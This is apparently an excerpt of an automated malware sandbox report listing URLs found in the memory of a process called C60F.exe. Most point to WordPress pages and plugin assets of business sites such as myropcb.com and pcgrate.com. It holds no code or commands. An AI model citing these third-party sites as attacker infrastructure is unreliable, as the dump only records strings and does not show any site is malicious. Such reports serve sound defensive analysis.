Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/online-quote/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/online-quote/bom/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/online-quote/fpc-quote/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/online-quote/parts/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/online-quote/pcb-and-schematic-design/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/online-quote/pcb-assembly-quote/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/online-quote/pcb-production-quote/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/online-quote/stencil-quote/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/an-introduction-to-high-density-interconnect-hdi-pcbs/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/components-parts/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/customized-cable/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/enclosure/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/fpc-flexible-printed-circuits/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/hdipcb/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/myro-intelligent-cloud-forehead-thermometer/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/pcb-capabilities/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/pcb-design-layout/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/pcb-restoration/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/pcba-services/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/special-offer-specifications/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/services-capabilities/stencil/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/testimonial/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/about-us/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/agents-brokers/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/awards-certificates/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/our-facilities/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/privacy-policy/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/referral-program/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/rohs/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/satisfaction-guarantee/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/shipping-cost/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/why-use-myro/terms-of-service/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.2.2
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/plugins/lightbox-2/lightbox.js?ver=1.8
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/plugins/wp-simple-firewall/resources/js/shield/notbot.js?ver=16.1.
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/framePCB/images/login1.gif
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/framePCB/images/register1.gif
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/framePCB/images/shopping_car.png
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/framePCB/js/easySlider.js
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/framePCB/js/jquery-ui.min.js
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/framePCB/style.css
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/thematic/library/scripts/hoverIntent.js
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/thematic/library/scripts/superfish.js
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/thematic/library/scripts/supersubs.js
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-content/themes/thematic/library/scripts/thematic-dropdowns.js
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-includes/css/dist/block-library/style.min.css?ver=5.5.11
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-includes/js/jquery/jquery.js?ver=1.12.4-wp
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-includes/wlwmanifest.xml
Source: C60F.exe, 00000014.00000002.536733426.00000000007E6000.00000004.00000020.00020000.00000000.sdmp, C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp, C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-json/
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fwww.myropcb.com%2F
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fwww.myropcb.com%2F&format=xml
Source: C60F.exe, 00000014.00000002.536733426.00000000007E6000.00000004.00000020.00020000.00000000.sdmp, C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp, C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/wp-json/wp/v2/pages/28
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/xmlrpc.php
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.myropcb.com/xmlrpc.php?rsd
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.naoi-a.com/
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.naoi-a.com/_
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.nelipak.nl/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.nelipak.nl/6Po
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.netcr.com/
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.nqks.com/
Source: C60F.exe, 00000014.00000002.542289186.0000000006A70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.nqks.com/fb
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.olras.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ora-ito.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ora-ito.com/?Pv
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ora.ecnet.jp/
Source: C60F.exe, 00000014.00000002.536733426.00000000007EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ora.ecnet.jp/5
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.otena.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.otena.com/E
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.otena.com/q
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.owsports.ca/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.owsports.ca/&K
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/
Source: C60F.exe, 00000014.00000002.536733426.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/XS
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/css/cookie-law-info-gdpr.css?ver=2.
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/css/cookie-law-info-public.css?ver=
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/css/cookie-law-info-table.css?ver=2
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/js/cookie-law-info-public.js?ver=2.
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/download-now-for-woocommerce/assets/css/somdn-style.css?ve
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/download-now-for-woocommerce/assets/js/somdn_script.js?ver
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/dt-the7-core/assets/css/post-type.min.css?ver=2.5.7.1
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/css/frontend.min.css?ver=3.3.1
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.3.1
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.3.1
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/js/preloaded-modules.min.js?ver=3.3.1
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.3.1
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/animations/animations.min.css?ver=3.3
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/dialog/dialog.min.js?ver=4.8.1
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css?ve
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.eot?5.10.0);src:u
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.svg?5.10.0#eicon)
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.ttf?5.10.0)
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff2?5.10.0)
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff?5.10.0)
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/brands.min.css?ver=5
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/fontawesome.min.css?
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/share-link/share-link.min.js?ver=3.3.
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/swiper/swiper.min.js?ver=5.3.6
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js?ver=4.0.2
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/email-subscribers/lite/public/css/email-subscribers-public
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/email-subscribers/lite/public/js/email-subscribers-public.
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/feedback-modal-for-website/assets/css/fm-public.css?ver=1.
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/feedback-modal-for-website/assets/icons/line-awesome/css/l
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/feedback-modal-for-website/assets/js/fm-public.js?ver=1.0.
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/css/frontend.min.css?ver=3.3.1
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/frontend.min.js?ver=3.3.1
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/preloaded-elements-handlers.min.js?
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/webpack-pro.runtime.min.js?ver=3.3.
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/lib/sticky/jquery.sticky.min.js?ver=3.
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/show-hidecollapse-expand/assets/css/bg-show-hide.css?ver=5
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/show-hidecollapse-expand/assets/css/genericons/genericons.
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/show-hidecollapse-expand/assets/js/bg-show-hide.js?ver=5.8
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woo-discount-rules-pro/Assets/Css/awdr_style.css?ver=2.3.7
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woo-discount-rules-pro/Assets/Js/awdr_pro.js?ver=2.3.7
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woo-discount-rules/v2/Assets/Css/customize-table.css?ver=2
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woo-discount-rules/v2/Assets/Js/awdr-dynamic-price.js?ver=
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woo-discount-rules/v2/Assets/Js/site_main.js?ver=2.3.7
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woo-rfq-for-woocommerce/gpls_assets/css/gpls_woo_rfq.css?v
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woo-rfq-for-woocommerce/gpls_assets/js/gpls_woo_rfq.js?ver
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/css/front.css?ver=1.3.7
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/chosen/chosen.jquery.min.
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/chosen/chosen.min.css?ver
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/front.js?ver=1.3.7
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/price-slider_33.js?ver=1.
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-deposits/assets/css/style.css?ver=3.1.7
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-deposits/assets/css/toggle-switch.css?ver=3.1.
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-deposits/assets/js/add-to-cart.js?ver=3.1.7
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce-pdf-catalog/public/css/woocommerce-pdf-catalog
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=5.5.
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/frontend/cart-fragments.min.js?ver=5
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=5.5.
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/jquery-ui-touch-punch/jquery-ui-touc
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/style.css?ve
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/vendors-styl
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/css/compatibility/elementor/elementor-global.min.cs
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/css/main.min.css?ver=9.12.0
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/fonts/FontAwesome/css/all.min.css?ver=9.12.0
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/fonts/icomoon-the7-font/icomoon-the7-font.min.css?v
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/js/above-the-fold.min.js?ver=9.12.0
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/js/compatibility/woocommerce/woocommerce.min.js?ver
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/js/main.min.js?ver=9.12.0
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/lib/custom-scrollbar/custom-scrollbar.min.css?ver=9
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/lib/custom-scrollbar/custom-scrollbar.min.js?ver=9.
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/lib/jquery-mousewheel/jquery-mousewheel.min.js?ver=
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/themes/dt-the7/style.css?ver=9.12.0
Source: C60F.exe, 00000014.00000002.540262127.0000000003630000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pcgrate.com/wp-content/uploads/elementor/css/global.css?ver=1664959878
